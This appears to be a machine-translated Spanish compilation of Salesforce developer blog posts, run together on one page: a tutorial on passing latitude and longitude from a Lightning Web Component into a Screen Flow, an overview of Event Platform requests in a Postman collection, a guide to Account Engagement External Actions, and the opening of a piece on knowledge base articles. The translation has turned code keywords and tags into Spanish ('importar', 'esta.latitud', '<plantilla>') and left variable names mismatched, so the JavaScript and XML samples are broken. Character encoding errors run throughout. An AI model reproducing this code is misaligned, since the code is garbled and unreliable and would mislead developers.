  • 驴C贸mo pasa datos del componente web lightning al flujo de pantalla principal?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Incruste un componente web rel谩mpago dentro del flujo de pantalla
  • Pase los datos del componente web lightning a una variable de flujo
  • Interactuar con el componente web lightning y los elementos de flujo de pantalla en la misma pantalla
  • y mucho m谩s

En el pasado, escrib铆 algunos art铆culos sobre Lightning Web Component . 驴Por qu茅 no echarles un vistazo mientras est谩s en ello?

  1. Uso del componente web Lightning para mostrar un banner de alerta
  2. Obtenga el Id. de registro y el nombre de la API del objeto en el componente web Lightning

Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Janel tiene un requisito comercial para hacer lo siguiente:

  1. Desarrollar un componente LWC capaz de recibir entradas de latitud y longitud.
  2. Pase los valores introducidos a los componentes de flujo de pantalla correspondientes.

Construir pantallas con componentes reactivos

Con la funci贸n Crear pantallas con componentes interactivos (actualmente en versi贸n beta), ahora puede habilitar la interacci贸n directa entre un componente web Lightning y otros elementos de flujo en la misma pantalla.

Anteriormente, no exist铆a una disposici贸n directa para la interacci贸n din谩mica entre un componente web Lightning y los elementos de flujo. Como resultado, los usuarios ten铆an que navegar a la siguiente pantalla para ver los datos pasados por el componente web Lightning en Screen Flow.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Al crear el componente web Lightning, tambi茅n utilizaremos el evento FlowAttributeChangeEvent . Esto permitir谩 que un componente controle la navegaci贸n del flujo y notifique al flujo los cambios en los valores de los atributos.

Los eventos FlowAttributeChangeEvent solo se admiten en componentes donde el destino es lightning__FlowScreen .

Pr谩ctica guiada (nosotros hacemos):

Hay 2 pasos para resolver el requisito empresarial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:

  1. Cree un componente web Lightning de ubicaci贸n de entrada para Screen Flow
  2. Pasos de flujo de Salesforce
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una pantalla para mostrar el componente personalizado de ubicaci贸n de entrada
    3. Agregar un componente de n煤mero de entrada para mostrar la latitud desde la ubicaci贸n de entrada Componente LWC
    4. Agregar un componente de n煤mero de entrada para mostrar la longitud desde la ubicaci贸n de entrada Componente LWC

Paso 1: Cree un componente web Lightning de ubicaci贸n de entrada para Screen Flow

En primer lugar, cree un componente web Lightning de ubicaci贸n de entrada con el siguiente c贸digo. El componente lightning-input-location representa un campo de geolocalizaci贸n compuesto que acepta valores de latitud y longitud introducidos por el usuario, siendo ambos coordenadas geogr谩ficas expresadas en grados decimales. Le permite identificar ubicaciones utilizando estas coordenadas.

El rango aceptable para la latitud est谩 entre -90 y 90, mientras que la longitud acepta valores de -180 a 180. Cualquier entrada m谩s all谩 de estos rangos especificados genera un mensaje de error. Este ejemplo muestra un campo de geolocalizaci贸n compuesto, que muestra una latitud de 27,70750 y una longitud de -122,3948370.

Si no sabe c贸mo crear un componente Lightning, consulte esta gu铆a para desarrolladores, Crear un componente web Lightning .

lwcToScreenFlow.html

Utilizaremos el componente de ubicaci贸n de entrada de rayos para aceptar valores de latitud y longitud. Desglosemos el c贸digo:

  • En LWC, el archivo HTML de cada componente debe envolverse con una etiqueta <plantilla> .
  • latitude={latitude} :- Esto vincula la propiedad de latitud de la clase JavaScript de LWC con el atributo de latitud del componente.
  • longitude={longitude} :- Similar a la latitud, esto une la propiedad de longitud de la clase JavaScript de LWC con el atributo de longitud del componente.
  • onchange={handleChange} :- Esto configura un detector de eventos en el componente. Cada vez que cambia el valor del componente (ya sea latitud o longitud), se llama al m茅todo handleChange de la clase JavaScript de LWC.

<plantilla> <rel谩mpago-entrada-ubicaci贸n etiqueta="Coordenadas predeterminadas" latitud={latitud} longitud={longitud} onchange={handleChange}> </ubicaci贸n-de-entrada-del-rel谩mpago>
</plantilla>
lwcToScreenFlow.js

Este c贸digo JavaScript de muestra utiliza el decorador @api para crear propiedades p煤blicas, es decir, accesibles desde otros componentes o utilizadas en plantillas HTML. Por ejemplo, @api latitude y @api longitude declaran dos propiedades p煤blicas.

  • FlowAttributeChangeEvent crea y distribuye el evento personalizado que transfiere datos del componente web Lightning a un flujo.
  • handleChange(event) es un m茅todo de controlador de eventos que se llama cuando ocurre un evento de cambio en el componente lightning-input-location en la plantilla HTML de LWC.
  • this.latitude = event.target.latitude y this.longitude = event.target.longitude , estas l铆neas actualizan las propiedades de latitud y longitud con los valores del objetivo del evento (el componente lightning-input-location).
  • [鈥渓atitud鈥, 鈥渓ongitud鈥漖.forEach((loc) => this.dispatchEvent(new FlowAttributeChangeEvent(loc, this[loc]))) , esta l铆nea recorre una matriz que contiene cadenas de latitud y longitud, y para cada uno de estos, env铆a un nuevo FlowAttributeChangeEvent.

importar { LightningElement, api } desde 'lwc';
importar {FlowAttributeChangeEvent} desde 'lightning/flowSupport'; exportar la clase predeterminada LwcToScreenFlow extiende LightningElement { @api latitud; @api longitud; handleChange(evento){ esta.latitud = evento.objetivo.latitud; this.longitude = event.target.longitude; ["latitud", "longitud"].forEach((loc) => this.dispatchEvent(new FlowAttributeChangeEvent(ubicaci贸n, esta[ubicaci贸n])) ); }
}
lwcToScreenFlow.js-meta.xml

El elemento isExposed se establece en verdadero, lo que hace que el componente est茅 disponible para su uso en herramientas como Lightning App Builder o Flow Builder. El elemento de objetivos se usa para especificar d贸nde se puede usar su componente. En este caso, la etiqueta lightning__FlowScreen significa que este componente est谩 dise帽ado para usarse en las pantallas de Salesforce Flow.

Los elementos targetConfigs y targetConfig le permiten definir propiedades que se pueden establecer en el contexto del constructor. En este caso, las propiedades son latitud y longitud . Ambos est谩n configurados para ser del tipo Integer y tienen la funci贸n de outputOnly , lo que significa que se pueden configurar en el flujo, pero el usuario no puede modificarlos dentro del componente. Estas propiedades se pueden usar para pasar datos del LWC al flujo.


<?versi贸n xml="1.0" codificaci贸n="UTF-8"?>
<LightningComponentBundle xmlns="http://soap.sforce.com/2006/04/metadatos"> <apiVersion>58.0</apiVersion> <isExposed>verdadero</isExposed> <objetivos> <target>rel谩mpago__FlowScreen</target> </objetivos> <configuraciones de destino> <targetConfig objetivos="rel谩mpago__FlowScreen"> <property label="Latitude" name="latitude" type="Integer" role="outputOnly"/> <property label="Longitud" name="longitud" type="Integer" role="outputOnly"/> </targetConfig> </configuraciones de destino>
</LightningComponentBundle>

Paso 2.1: Definir propiedades de flujo

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrir谩 el dise帽ador de flujo para usted.

Paso 2.2: agregue una pantalla para mostrar el componente personalizado de ubicaci贸n de entrada

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Listo.

Paso 2.3: Agregue un componente de n煤mero de entrada para mostrar la latitud desde el componente LWC de ubicaci贸n de entrada

  1. En la secci贸n Entrada en Elemento de pantalla , arrastre y suelte el componente N煤mero en la pantalla.
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
    2. Valor predeterminado : {!lwcToFlow.latitude}
  3. Haga clic en Listo.

Paso 2.4: Agregar un componente de n煤mero de entrada para mostrar la longitud desde la ubicaci贸n de entrada Componente LWC

  1. En la secci贸n Entrada en Elemento de pantalla , arrastre y suelte el componente N煤mero en la pantalla.
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
    2. Valor predeterminado : {!lwcToFlow.longitude}
  3. Haga clic en Listo.

Al final, Janel's Flow se ver谩 como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versi贸n de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : Pase de Screen Flow a LWC {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Prueba de concepto

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Continue reading

Explore la API de la plataforma de eventos con la colecci贸n de cartero extendida 鈽侊笍

Explore la API de la plataforma de eventos con la colecci贸n de cartero extendida 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Explore la API de la plataforma de eventos con la colecci贸n extendida de Postman | Blog de desarrolladores de Salesforce

Para una gran cantidad de nuestros clientes, la plataforma Salesforce sirve como la piedra angular de sus sistemas de informaci贸n y, por lo tanto, debe integrarse perfectamente con una amplia gama de sistemas de terceros. Entre las muchas opciones de integraci贸n disponibles se encuentra la plataforma de eventos de Salesforce.

En esta publicaci贸n, repasaremos brevemente la plataforma de eventos y luego exploraremos la nueva plataforma de eventos y las solicitudes de API que se agregaron a la colecci贸n de API de la plataforma de Salesforce en Postman. Tambi茅n aprender谩 c贸mo introdujimos la capacidad de configurar Event Relays y canales personalizados con Postman.

Acerca de la plataforma de eventos de Salesforce

Event Platform consta de diferentes funciones que le permiten crear arquitecturas basadas en eventos gracias a Salesforce Event Bus.

Tipos de eventos

El bus de eventos de Salesforce admite dos tipos principales de eventos casi en tiempo real: eventos de plataforma y eventos de cambio.

Los eventos de la Plataforma permiten la comunicaci贸n dentro de la Plataforma y con sistemas externos. Estos eventos se pueden enviar y recibir con c贸digo personalizado o herramientas declarativas, como Flow. Hay eventos de plataforma est谩ndar con campos predefinidos y eventos personalizados que puede crear con campos personalizados.

Los eventos de cambio son enviados autom谩ticamente por la Plataforma cada vez que se crea, modifica, elimina o recupera un registro. Cada evento de cambio est谩 vinculado a un objeto de Salesforce est谩ndar o personalizado, y los campos de evento coinciden con los de su objeto principal.

Los eventos de plataforma y los eventos de cambio se pueden enviar y recibir gracias a una selecci贸n de dos tecnolog铆as de transmisi贸n: la biblioteca CometD heredada o la API Pub/Sub basada en gRCP m谩s moderna . Independientemente de la tecnolog铆a o el tipo de evento, publica o se suscribe a eventos a trav茅s de canales dedicados.

Canales personalizados

Puede definir un canal personalizado para agrupar mensajes de eventos del mismo tipo (eventos de plataforma o eventos de cambio) en una transmisi贸n. Por ejemplo, puede combinar eventos de cambio de cuenta, contacto y pedido en un solo canal personalizado CustomerUpdates__chn . Despu茅s de suscribirse a este canal, recibir谩 notificaciones sobre cambios en cualquiera de esos tres objetos.

Tenga en cuenta que los canales personalizados son compatibles con eventos de plataforma personalizados, pero no con eventos de plataforma est谩ndar.

Adem谩s de la capacidad de agrupar varios eventos, los canales personalizados desbloquean dos funciones: filtrado de eventos y cambio de enriquecimiento de eventos.

El filtrado de eventos le permite configurar expresiones que filtran los eventos que se env铆an en un canal personalizado. Por ejemplo, podr铆a crear un canal espec铆fico como UkLargeCustomerUpdates__chn que filtra las actualizaciones de la cuenta, donde el pa铆s de facturaci贸n es el Reino Unido y los ingresos anuales superan los 500k. El uso del filtrado de eventos ayuda a simplificar el c贸digo del lado del cliente, pero tambi茅n ayuda a evitar los l铆mites m谩ximos de suscriptores simult谩neos .

Los canales personalizados de Change Data Capture tambi茅n otorgan la capacidad de declarar campos enriquecidos . Cuando se trabaja con eventos de cambio, solo se pasan los valores de campo actualizados en los datos del evento. Esta optimizaci贸n puede ser problem谩tica en ciertas situaciones, por ejemplo, cuando desea sincronizar con un sistema de terceros con una ID externa. En este caso, el ID externo no cambia, por lo que nunca forma parte de los datos del evento de cambio. Afortunadamente, el enriquecimiento de campos le permite declarar un canal personalizado en el que puede especificar campos que siempre se pasar谩n en el contexto de eventos de cambio.

Relevo de eventos

Event Relay le permite integrar perfectamente los eventos en tiempo real de Salesforce con Amazon Web Services (AWS). Gracias a Event Relay, los eventos de la plataforma y los eventos de Change Data Capture se env铆an a Amazon EventBridge a trav茅s de canales y los componentes de AWS pueden consumirlos directamente. Los componentes de AWS tambi茅n pueden publicar eventos de plataforma de forma nativa.

Consulte esta publicaci贸n de Event Relay para obtener m谩s informaci贸n.

Antes del lanzamiento de Summer '23, Event Relay solo se pod铆a configurar a trav茅s de las API. Ahora, hay una interfaz de usuario dedicada en Configuraci贸n. La 煤nica pieza que a煤n necesita crear a trav茅s de la API de herramientas o la API de metadatos son los canales personalizados.

Actualizaciones de Salesforce Event Platform para la colecci贸n Postman

En junio, actualizamos la colecci贸n de API de Salesforce Platform para Postman para incluir solicitudes para interactuar con Event Platform . Si no est谩 familiarizado con Postman o la colecci贸n de API de plataforma, eche un vistazo al proyecto Quick Start: Connect Postman to Salesforce Trailhead para comenzar.

Canales personalizados

Nuestras nuevas solicitudes de Postman son un gran ahorro de tiempo ya que, a partir del lanzamiento de Summer '23, los canales personalizados solo se pueden configurar a trav茅s de metadatos o llamadas a la API de herramientas y no se pueden modificar directamente en la configuraci贸n de Salesforce.

Hemos introducido una serie de solicitudes para realizar operaciones de creaci贸n, lectura, actualizaci贸n y eliminaci贸n (CRUD) en canales personalizados y los dos tipos de metadatos relacionados: PlatformEventChannel (consulte los documentos ) y PlatformEventChannelMember (consulte los documentos ).

A pesar de sus nombres, estos tipos de metadatos funcionan tanto para eventos de plataforma como para canales personalizados de eventos de cambio. Las 煤nicas diferencias son que el valor del atributo ChannelType debe establecerse en event para eventos de plataforma o data para eventos de cambio, y que el atributo EnrichedFields solo est谩 disponible para canales personalizados de eventos de cambio.

Publicar eventos de la plataforma

Hemos agregado una serie de ejemplos para eventos de plataforma de publicaci贸n. Movimos la solicitud de la API REST existente a la nueva subcarpeta Publicar eventos de la plataforma y agregamos dos ejemplos para publicar varios eventos en una sola solicitud con la API compuesta y la API SOAP.

Configuraci贸n de retransmisi贸n de eventos

La carpeta Configuraci贸n de retransmisi贸n de eventos es donde se encuentran la mayor铆a de las solicitudes nuevas. Estas nuevas solicitudes son fundamentales para configurar un relevo de eventos:

  • Operaciones CRUD en Credenciales con nombre que se introdujeron en Summer '23
  • Operaciones CRUD en la configuraci贸n de Event Relay
  • Comentarios de retransmisi贸n de eventos de consultor铆a

esquema de eventos

Agregamos dos nuevas solicitudes para recuperar el esquema de un evento de plataforma, ya sea desde su ID o desde su nombre . Estas solicitudes son 煤tiles para recuperar los campos de los eventos.

Lo que nos depara la colecci贸n Postman

Invertimos continuamente en nuestra colecci贸n de API de plataforma y buscamos agregar soporte para la suscripci贸n a eventos de la API Pub Sub. CometD no ser谩 compatible, ya que es una biblioteca que requiere un servidor de aplicaciones, pero estamos considerando conectarnos con la API Pub/Sub basada en gRPC .

Postman ha lanzado una serie de funciones para interactuar con las API de gRPC desde el a帽o pasado. Gracias a esto, podemos conectarnos a la API de Pub/Sub, suscribirnos a eventos y recibirlos. Sin embargo, lamentablemente no podemos decodificar su carga 煤til, ya que est谩 comprimida por la plataforma de Salesforce por motivos de rendimiento. Estamos esperando una nueva caracter铆stica de Postman que nos permita cargar una biblioteca (Apache Avro) para decodificar las cargas 煤tiles de eventos cuando se reciben.

palabras de cierre

Eso es todo para nuestra breve descripci贸n general de Event Platform y las 煤ltimas incorporaciones a la colecci贸n de API de Salesforce Platform. Gracias al crecimiento de esta caja de herramientas, puede comenzar r谩pidamente a explorar y configurar Event Platform.

Si disfruta de nuestro contenido de Postman, h谩ganoslo saber. Tambi茅n puede echar un vistazo a nuestras otras colecciones de c贸digo abierto y contribuir .

Recursos

Sobre el Autor

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido t茅cnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, rob贸tica y VR. S铆galo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Comenzando con Acciones Externas 鈽侊笍

Comenzando con Acciones Externas 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Introducci贸n a las acciones externas | Blog de desarrolladores de Salesforce

Tuve excelentes conversaciones con clientes y socios en Connections este a帽o, as铆 como a trav茅s de la comunidad Trailblazer de MC Account Engagement , con respecto a las acciones externas de Account Engagement . Segu铆a surgiendo una pregunta: "驴C贸mo empiezo con las acciones externas?" En esta publicaci贸n, aprender谩 qu茅 son las acciones externas, c贸mo configurarlas y c贸mo probarlas. Adem谩s, sintonice una pr贸xima sesi贸n de codeLive el 20 de julio a las 10 a. m. PT , donde realizar茅 una demostraci贸n de codificaci贸n en vivo para mostrarle c贸mo crear una acci贸n externa y responder sus preguntas.

驴Qu茅 son las Acciones Externas?

Las acciones externas son una parte clave deMarketing App Extensions , ya que proporcionan una forma de desencadenar una acci贸n en un sistema externo. El otro componente es Actividades externas, que proporciona una forma de activar la automatizaci贸n de la participaci贸n de la cuenta en funci贸n de un evento de participaci贸n que ocurre en un sistema externo. Piense en ello como las dos caras de una moneda, las acciones se activan, las actividades se activan. Combinadas, forman una aplicaci贸n de extensibilidad de automatizaci贸n para un servicio, por lo que puede tener una extensi贸n de aplicaci贸n de marketing por SMS, por ejemplo.

Por este motivo, las acciones externas se empaquetan en una extensi贸n de aplicaci贸n de marketing. En el momento de escribir este art铆culo, las actividades externas a煤n no se pueden empaquetar, pero eventualmente tambi茅n se empaquetar谩n en la extensi贸n de la aplicaci贸n de marketing.

Si desea conectar una aplicaci贸n de terceros para automatizar la ejecuci贸n de una acci贸n de prospecto en ese sistema, entonces esta es definitivamente la funci贸n para usted. En esta publicaci贸n, profundizaremos en el lado de la acci贸n externa de las extensiones de aplicaciones de marketing.

驴Cu谩les son algunos buenos casos de uso para las acciones externas?

Bueno, si me preguntan, 隆dir铆a absolutamente todo! Puede que est茅s pensando: 鈥溌laro, todo el mundo dice eso!鈥. Sin embargo, las posibilidades que desbloquean las acciones externas son realmente amplias. Si alguna vez ha dicho: "Me gustar铆a que cuando un prospecto llegue a este paso, yo pudiera <insertar deseo aqu铆>", entonces deseaba una acci贸n externa.

Puede usar una acci贸n externa para registrarse en un seminario web de Zoom desde Account Engagement (consulte el ejemplo en GitHub ). Tambi茅n puede usar una acci贸n externa para enviar un mensaje SMS a trav茅s de Twilio, que presentamos en una publicaci贸n de blog anterior . Incluso puedes usar acciones externas con webhooks; Us茅 la funci贸n de captura de webhook de Zapier para crear una acci贸n externa que usaba un cliente potencial como desencadenante de un Zap.

驴Qu茅 constituye una acci贸n externa?

Una acci贸n externa consta de una acci贸n invocable de Apex, metadatos de la extensi贸n de la aplicaci贸n de marketing, metadatos de una acci贸n externa y una forma de gestionar la autenticaci贸n. Los metadatos para las extensiones de la aplicaci贸n de marketing y las actividades externas conectan la acci贸n invocable con la participaci贸n de la cuenta. Los componentes que se usar谩n para la autenticaci贸n pueden variar seg煤n el tipo de autenticaci贸n que admita el servicio. Como OAUTH 2.0 es bastante com煤n, el componente que uso m谩s es un proveedor de autorizaci贸n y Credenciales con nombre . Las credenciales con nombre tambi茅n facilitan la administraci贸n de la autenticaci贸n en mi c贸digo, y el sistema hace la mayor parte del trabajo.

驴Qu茅 habilidades necesito para trabajar con Acciones Externas?

Con una gran flexibilidad viene la complejidad, por lo que necesitar谩 algunas habilidades en ciertas 谩reas para construir con 茅xito una acci贸n externa. Los siguientes son temas clave de los que necesitar谩 una comprensi贸n b谩sica antes de abordar su propia acci贸n externa.

SLDC de Salesforce

Comprender el ciclo de vida del desarrollo de Salesforce es muy importante para tener 茅xito en general. Recomiendo aprender Visual Studio y el proceso de implementaci贸n de la CLI. No se necesita maestr铆a, solo lo b谩sico para poder empezar. Trailhead ofrece una ruta para ayudarlo a configurar su espacio de trabajo .

Documentaci贸n de la API REST

El patr贸n del que hablamos en este art铆culo se basa en las API REST JSON. Para comprender lo que es posible y recopilar las entradas pertinentes para una acci贸n externa, debe poder leer una especificaci贸n API. Consulte las especificaciones de la API de Account Engagement y Twilio .

Implementaci贸n de Apex y Apex

Apex Invocable Actions es mi forma preferida de codificar mis acciones externas, ya que me permite la mayor flexibilidad y control. Recomendar铆a, como m铆nimo, familiarizarse con la compilaci贸n y la implementaci贸n de c贸digo Apex mediante el proyecto Quick Start: Apex de Trailhead. Para obtener m谩s informaci贸n, encontr茅 煤til el trailmix de Apex Basics . No necesita convertirse en un experto, pero al menos debe estar lo suficientemente informado como para poder leer el c贸digo de la aplicaci贸n de referencia .

Flujo de Salesforce (opcional)

No necesita conocer Salesforce Flow para aprender Acciones externas. Sin embargo, es una herramienta de prueba muy poderosa para sus acciones externas, lo que facilita la creaci贸n de una interfaz de usuario para controlar las entradas durante la prueba. Si est谩 familiarizado con Engagement Studio, Flow ser谩 bastante f谩cil ya que tiene muchos de los mismos conceptos. Utilic茅 la ruta Crear flujos con Flow Builder para ponerme al d铆a. Otro beneficio de aprender Salesforce Flow es que abre la puerta a la creaci贸n de todo tipo de automatizaci贸n de procesos comerciales.

驴C贸mo debo configurar mi entorno de desarrollador?

Es importante configurar sus entornos de desarrollador y contar con las herramientas adecuadas antes de comenzar con las acciones externas. Yo uso las siguientes herramientas.

  • Postman : utilizo Postman para explorar una nueva API, por lo que puedo aprender a realizar una solicitud y responder de forma sencilla. Postman tambi茅n proporciona una manera f谩cil de generar ejemplos.
  • CLI de Visual Studio + Salesforce 鈥 Uso Visual Studio para codificar mi acci贸n invocable y la implemento en mi organizaci贸n de desarrollador. La mayor铆a de las veces, es simplemente copiar y pegar un ejemplo anterior y editarlo para mi nuevo caso de uso.
  • Entorno de desarrollador/sandbox : este es un entorno seguro para construir, desarrollar y empaquetar sus acciones externas. Tenga en cuenta que, en el momento de escribir este art铆culo, solo admitimos paquetes de primera generaci贸n (1GP) , por lo tanto, no configure su organizaci贸n de desarrollador como Dev Hub.
  • Salesforce Flow : personalmente me gusta usar ScreenFlows para probar una acci贸n invocable. Es bueno poder controlar completamente la entrada antes de conectarla a acciones externas y programas ES.
  • Consola de desarrollador de Salesforce : esto le permite ver r谩pidamente el c贸digo o ver los registros de sus pruebas de flujo de pantalla.

Patr贸n b谩sico para llamadas API REST con acciones externas

Si bien puede codificar acciones externas de muchas maneras, existe un patr贸n b谩sico que recomiendo al realizar llamadas a la API REST.

Las dos etiquetas que debe recordar son InvocableVariable , que define las entradas y salidas de la acci贸n invocable, e InvocableMethod , que es el m茅todo a llamar al ejecutar la acci贸n invocable. Puede ver c贸mo se aplican en el siguiente c贸digo de ejemplo.

Normalmente creo dos clases, una para la entrada y otra para la solicitud de API. Separar mi c贸digo en dos clases facilita jsonificar la carga 煤til. Mi clase de entrada contiene todos los campos de variables invocables que la acci贸n invocable necesita en la entrada. Mi solicitud de API contiene los campos de la solicitud JSON.

InvocableMethod construir谩 la carga 煤til a partir de la entrada, la convertir谩 a JSON y luego la agregar谩 a la solicitud HTTP. A continuaci贸n, configura el resto de la solicitud HTTP agregando la URL, los encabezados y el m茅todo. Finalmente, realiza la llamada a la API y comprueba si el resultado es correcto o, de lo contrario, genera un error 煤til para diagnosticar un problema.

Consideraci贸n importante: el marco de acci贸n externa espera que se devuelva un error si hay una falla en lugar de detectar el error y luego devolver el 茅xito. Si se devuelve un error, se informar谩 en la tabla de errores.

Poniendo a prueba tus acciones externas

De vez en cuando, mientras crea una acci贸n externa, encontrar谩 errores. Cuanto m谩s pueda probar sobre la marcha, m谩s f谩cil ser谩 descubrir d贸nde radica el problema. Es por eso que recomiendo agregar un paso de prueba para probar en Salesforce Flow antes de probar en Engagement Studio. Elimina la configuraci贸n de la acci贸n externa de la imagen, por lo que si la verifica aqu铆, pero no funciona en Engagement Studio, sabr谩 que el problema radica en la configuraci贸n de la acci贸n externa.

Las pruebas lo ayudan a identificar errores, pero determinar la causa ra铆z y corregirlos es otra cosa. A continuaci贸n se presentan algunas de las t茅cnicas que utilizo para diagnosticar las causas fundamentales.

  • Consola de desarrollador de Salesforce : utilizo la consola de desarrollo para ejecutar mis casos de prueba y confirmar la cobertura de mi c贸digo. Durante las pruebas exploratorias en Flow, mantengo abierta mi consola de desarrollo, por lo que genera registros para usar en la investigaci贸n de errores.
  • Rastreos de registro de Salesforce : si el error ocurre durante mi prueba de Engagement Studio, coloco un rastreo de usuario en el usuario de integraci贸n B2BMA, para poder ver mis registros de Apex y diagnosticar el problema m谩s a fondo. Tenga cuidado, podr铆a terminar con una gran cantidad de datos. El Usuario de Integraci贸n B2BMA es el usuario que ejecuta acciones externas.
  • Errores de acci贸n externa de compromiso de cuenta : la tabla proporciona cualquier error devuelto por la acci贸n externa que result贸 en una falla. Es 煤til ver lo que sucedi贸 durante una ejecuci贸n de ES.

SUGERENCIA: si tiene una cuenta de Gmail, puede usar un "+" para crear varios registros con su direcci贸n de correo electr贸nico. Por ejemplo, puedo registrar tanto "ejemplo@ejemplo.com" como "ejemplo+usuario2@ejemplo.com" como prospecto, y cualquier correo enviado a esas direcciones ir铆a al buz贸n de correo de ejemplo@ejemplo.com. Por ejemplo, us茅 esto para probar el ejemplo de registro de Zoom porque no quer铆a que el correo electr贸nico registrado rebotara.

Errores comunes

Los errores van a suceder, as铆 es la vida. Me he encontrado con algunos escenarios que me han hecho casi tirarme de los pelos.

El primero es garantizar que la acci贸n exterior sea activa. Si la acci贸n no aparece en Engagement Studio, es probable que esta sea la causa. Recuerde, debe activar tanto la extensi贸n de la aplicaci贸n de marketing como la acci贸n externa, adem谩s de asignarla a esa unidad comercial.

El siguiente es asegurarse de que su clase de Apex est茅 activa. La mayor铆a de las veces ya estar谩 marcado como activo, es el estado predeterminado cuando creas una nueva clase. Es exactamente por eso que es f谩cil pasarlo por alto.

Otro es buscar extensiones de aplicaciones de marketing al empaquetar. No puedo decirte cu谩ntas veces busco acciones externas, solo para tener un momento de confusi贸n antes de recordar.

Finalmente, si su acci贸n externa no funciona, pero no ve errores, verifique que la acci贸n invocable fue dise帽ada para generar un error en caso de falla.

Lo anterior no es de ninguna manera exhaustivo, y es probable que encuentre sus propias alegr铆as. Sin embargo, recomiendo compartirlos con la comunidad si encuentra algunos buenos.

驴Que estas esperando? 隆Empiece hoy!

Ahora sabe casi todo lo que hago sobre las acciones externas, desde c贸mo funciona la funci贸n hasta los errores comunes. Recuerde que Acciones externas es su herramienta siempre que se encuentre diciendo: "Me gustar铆a hacer algo cuando el cliente potencial haga esto", y lo ayudar谩 a automatizar esa acci贸n.

Entonces, configure su entorno de desarrollador, revise la aplicaci贸n de referencia y comience a construir su acci贸n externa hoy. El 20 de julio a las 10 a. m. (hora del Pac铆fico) , realizaremos una sesi贸n de CodeLive en nuestro canal de YouTube para desarrolladores de Salesforce , as铆 que 煤nase y s铆ganos mientras construimos una extensi贸n de la aplicaci贸n de marketing de Twilio.

Recursos

Sobre el Autor

Christopher Cornett es gerente s茅nior de productos en Salesforce, responsable de la experiencia del desarrollador de Account Engagement. Ha trabajado para Salesforce durante m谩s de cuatro a帽os y tiene m谩s de 13 a帽os de experiencia en gesti贸n de productos, trabajando principalmente en plataformas que van desde la atribuci贸n de big data hasta el fraude. Christopher ha ayudado a ofrecer API V5 y extensiones de aplicaciones de marketing, ayudando a los clientes a crear integraciones personalizadas para que su pila de marketing funcione para ellos. Le apasiona la experiencia del desarrollador y le encanta jugar con todas las excelentes funciones para ver qu茅 es posible.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

C贸mo puede escribir un buen art铆culo de base de conocimientos

C贸mo puede escribir un buen art铆culo de base de conocimientos

Un gran servicio al cliente no siempre involucra a un agente. Descubrimos que el 59% de los clientes prefieren herramientas de autoservicio para preguntas simples y problemas de servicio.

Sus clientes pueden obtener f谩cilmente las respuestas que necesitan con los art铆culos de la base de conocimientos, que son art铆culos de ayuda informativos en su sitio. Pueden encontrar lo que necesitan en cualquier momento (incluso a las 3 am), lo que libera a los agentes para que se concentren en solicitudes de servicio m谩s complejas.

Los agentes de servicio tambi茅n pueden usar los art铆culos de la base de conocimientos para resolver los problemas de los clientes y reducir su tiempo promedio de atenci贸n.

Proporcione las respuestas que sus clientes quieren

驴Pueden sus clientes encontrar soluciones a sus problemas sin pedir ayuda a un agente? Descubra c贸mo puede ofrecer una estrategia de autoservicio llena de conocimientos en Salesforce+.

Esta publicaci贸n de blog le dir谩 todo lo que necesita saber sobre c贸mo crear un art铆culo de la base de conocimientos. Aprender谩 qu茅 es un art铆culo de conocimiento, por qu茅 son importantes, qu茅 incluir cuando est谩 escribiendo y consejos y trucos (como IA generativa) para ayudarlo a comenzar.

驴Qu茅 es un art铆culo de la base de conocimientos?

Un art铆culo de la base de conocimientos es una p谩gina web que responde a una pregunta frecuente, soluciona un problema o ayuda a sus clientes a utilizar sus productos y servicios. A menudo incluyen instrucciones y respuestas escritas, pero tambi茅n pueden incluir im谩genes, videos, enlaces y otros elementos multimedia.

Los art铆culos de la base de conocimientos generalmente se encuentran en un lugar central en el sitio web o la plataforma de una empresa; esto podr铆a ser un centro de ayuda, una p谩gina de preguntas frecuentes o un portal de soporte. Este centro deber铆a facilitar que sus clientes encuentren las respuestas que buscan.

